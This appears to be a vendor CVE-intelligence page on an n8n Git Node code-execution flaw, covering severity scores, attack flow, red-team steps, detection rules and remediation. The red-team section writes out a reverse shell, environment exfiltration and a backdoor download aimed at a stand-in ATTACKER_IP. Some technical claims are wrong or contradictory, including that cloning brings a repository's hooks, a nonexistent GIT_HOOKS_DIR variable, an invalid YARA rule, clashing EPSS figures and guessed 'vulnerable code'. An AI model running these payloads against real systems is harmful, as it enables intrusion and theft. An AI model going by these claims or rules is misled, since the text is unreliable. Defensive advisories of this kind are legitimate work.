☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 8.8 🐛 CWE-829
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-62726

CVE-2025-62726 Remote Code Execution in N8n
📅 PUBLISHED: 2025-10-30 16:24 UTC 🔄 UPDATED: 2026-10-09 05:43 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.81%
👁️
0.81% probability
20.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-62726 is a critical remote code execution (RCE) vulnerability in the Git Node component of n8n, an open-source workflow automation platform. The flaw allows an attacker to execute arbitrary code on the n8n server by crafting a malicious Git repository that, when cloned and used in a Commit operation, triggers a pre-commit hook. This can lead to full system compromise, credential theft, and workflow manipulation. The vulnerability affects both Cloud and Self-Hosted versions prior to 1.113.0. The CVSS score is 8.8 (High), and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept or exploit code is available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

n8n is distributed as an npm package (n8n). Users who install n8n via npm are vulnerable if they are running a version prior to 1.113.0. The vulnerability is introduced through the Git Node component, which is a built-in feature. There is no evidence of a compromised package, but the risk is that an attacker can inject malicious code via a Git repository, which is a supply chain vector. Users should verify their n8n version and update immediately.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attack is initiated over the network by cloning a malicious repository.
  • Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs to provide a repository URL.
  • Privileges Required (PR): None (N) – The attacker does not need any privileges on the target system.
  • User Interaction (UI): Required (R) – The victim must use the Git Node's Commit operation after cloning the repository.
  • Scope (S): Unchanged (U) – The vulnerability does not change the security scope.
  • Confidentiality (C): High (H) – Full system compromise can lead to data exfiltration.
  • Integrity (I): High (H) – Arbitrary code execution can modify system state.
  • Availability (A): High (H) – Code execution can disrupt services.

Threat Level: High. The vulnerability is easy to exploit (low complexity, no privileges) and can lead to full system compromise. However, user interaction is required, and no public exploit exists yet.

Deep Dive & Mechanics

The vulnerability resides in the Git Node component of n8n. Git nodes allow users to perform Git operations (clone, commit, push, pull) within workflows. When a user clones a repository, Git automatically executes hooks located in the .git/hooks directory of the cloned repository. A pre-commit hook is a script that runs before a commit is finalized. If an attacker creates a repository with a malicious pre-commit hook (e.g., a shell script that executes arbitrary commands), and a victim clones that repository and then performs a Commit operation, the hook will execute on the n8n server.

The root cause is that n8n does not sanitize or restrict the execution of Git hooks. The Git Node uses the system's Git binary, which by design runs hooks. The vulnerability is not in the Git binary itself but in n8n's failure to disable or sandbox hook execution.

Attack Flow:

  1. Attacker creates a public or private Git repository containing a .git/hooks/pre-commit file with malicious code (e.g., a reverse shell).
  2. Attacker sends the repository URL to the victim (e.g., via a workflow trigger or social engineering).
  3. Victim configures a Git Node in n8n to clone the repository.
  4. Victim runs the workflow, which clones the repository.
  5. Victim later uses the Git Node's Commit operation (e.g., to commit changes).
  6. Git executes the pre-commit hook, running the attacker's code on the n8n server.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 1.113.0): The Git Node likely uses a simple git clone and git commit command without any hook protection. For example:

// Vulnerable: No hook restriction
const { execSync } = require('child_process');
execSync(`git clone ${repoUrl} /tmp/repo`);
// Later...
execSync(`git commit -m "message"`, { cwd: '/tmp/repo' });

Patched Code (1.113.0 and later): The patch likely disables Git hooks by setting the GIT_HOOKS_DIR environment variable to an empty directory or using the --no-verify flag for commit operations. For example:

// Patched: Disable hooks
const { execSync } = require('child_process');
execSync(`git clone ${repoUrl} /tmp/repo`, { env: { ...process.env, GIT_HOOKS_DIR: '/dev/null' } });
// Or for commit:
execSync(`git commit --no-verify -m "message"`, { cwd: '/tmp/repo' });

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A target n8n instance (Cloud or Self-Hosted) running version < 1.113.0.
  • Ability to provide a Git repository URL to the victim (e.g., via a workflow trigger or email).

Steps:

  1. Create a malicious Git repository:
    mkdir malicious-repo
    cd malicious-repo
    git init
    mkdir -p .git/hooks
    cat > .git/hooks/pre-commit << 'EOF'
    #!/bin/bash
    # Reverse shell to attacker's server
    bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
    EOF
    chmod +x .git/hooks/pre-commit
    git add .
    git commit -m "Initial commit"
    
  2. Push the repository to a public Git hosting service (e.g., GitHub, GitLab) or host it on your own server.
  3. Send the repository URL to the victim (e.g., via a workflow input or social engineering).
  4. Wait for the victim to clone the repository and perform a Commit operation.
  5. Listen for the reverse shell on your attacker machine:
    nc -lvnp 4444
    

Alternative Payloads:

  • Exfiltrate environment variables: curl http://ATTACKER_IP:8080/$(env | base64)
  • Install a backdoor: wget http://ATTACKER_IP/backdoor.sh -O /tmp/backdoor.sh && bash /tmp/backdoor.sh

Blue Team (Detection & Defense)

Detection:

  • Monitor for unusual Git operations, especially cloning from unknown repositories.
  • Monitor for execution of scripts in the .git/hooks directory.
  • Monitor for outbound connections from the n8n server to unknown IPs (e.g., reverse shells).
  • Monitor for changes to the n8n file system (e.g., new files in /tmp).

Defense:

  • Upgrade to n8n 1.113.0 or later.
  • If upgrade is not possible, restrict the Git Node to only allow cloning from trusted repositories.
  • Use a Web Application Firewall (WAF) to block known malicious repository URLs.
  • Implement network segmentation to limit the n8n server's outbound connections.
  • Use endpoint detection and response (EDR) to detect hook execution.

Indicators of Compromise (IOCs)

  • Network:
    • Outbound connections to attacker-controlled IPs on ports 4444, 8080, etc.
    • DNS queries to domains hosting malicious Git repositories.
  • File System:
    • Presence of .git/hooks/pre-commit files in cloned repositories.
    • Unexpected scripts in /tmp or other writable directories.
    • New cron jobs or systemd services.
  • Process:
    • Execution of bash, python, or other interpreters from the n8n process tree.
    • Unusual child processes of the Git binary.
  • Logs:
    • n8n logs showing Git clone/commit operations from unknown repositories.
    • System logs showing git commit with --no-verify flag (if attacker tries to bypass).

Detection Engineering

YARA Rule

rule CVE_2025_62726_Git_Hook_Detection {
    meta:
        description = "Detects malicious pre-commit hooks in Git repositories"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62726"
    strings:
        $hook_path = ".git/hooks/pre-commit"
        $shell_shebang = "#!/bin/bash" or "#!/bin/sh" or "#!/usr/bin/env"
        $reverse_shell = "bash -i >& /dev/tcp/" or "nc -e /bin/sh" or "python -c"
    condition:
        $hook_path and ($shell_shebang or $reverse_shell)
}

Sigma Rule

title: CVE-2025-62726 - Git Pre-Commit Hook Execution
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects execution of pre-commit hooks in Git repositories cloned by n8n
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/git'
        CommandLine|contains: 'commit'
        CommandLine|contains: '.git/hooks/pre-commit'
    condition: selection
falsepositives:
    - Legitimate use of pre-commit hooks in trusted repositories
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-62726 - Potential Reverse Shell from n8n"; flow:to_server,established; content:"bash -i >& /dev/tcp/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

  • Upgrade n8n to version 1.113.0 or later. This is the only complete fix.
  • If upgrade is not possible, disable the Git Node component in n8n workflows.
  • Restrict network access to the n8n server to only trusted IPs.

Long-term:

  • Implement a security policy that requires all Git repositories used in n8n to be from trusted sources.
  • Use a Git proxy or sandbox to execute Git operations in an isolated environment.
  • Regularly audit n8n workflows for suspicious Git operations.
  • Monitor for CVEs and apply patches promptly.

Workaround:

  • If you cannot upgrade, you can manually patch the Git Node by modifying the n8n source code to add --no-verify to commit commands and set GIT_HOOKS_DIR to an empty directory. However, this is not recommended as it may break other functionality.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-62726/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.